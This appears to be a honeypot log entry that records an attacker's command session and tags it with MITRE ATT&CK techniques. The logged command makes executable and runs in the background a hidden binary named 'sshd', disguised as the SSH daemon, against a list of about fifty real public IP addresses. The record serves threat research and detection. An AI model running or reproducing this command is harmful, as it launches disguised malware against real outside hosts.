Honeypot attack session (period 2024), commands issued:
chmod +x ./.186043344793048284/sshd;nohup ./.186043344793048284/sshd 57.180.154.76 111.180.193.157 45.192.77.129 200.234.237.39 45.192.77.218 114.255.216.70 45.192.73.210 45.192.77.227 162.240.149.176 140.249.204.169 185.125.91.149 43.248.100.237 45.192.77.183 104.219.55.205 45.192.77.200 45.192.77.148 45.192.77.132 18.144.177.143 185.240.151.112 125.128.140.105 221.181.168.32 45.192.65.194 185.240.151.115 185.240.151.99 182.151.25.46 45.192.65.181 45.192.77.196 113.125.127.139 186.202.57.70 181.113.114.115 104.168.117.168 52.53.204.123 62.250.200.171 193.226.50.6 77.91.78.243 185.105.89.228 51.89.99.105 45.192.65.239 45.192.69.185 138.68.141.221 45.192.69.216 45.192.69.206 125.88.222.0 52.77.232.210 92.246.89.197 101.132.126.194 45.192.77.208 60.190.129.124 193.203.161.58 185.240.151.122 37.27.8.213 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter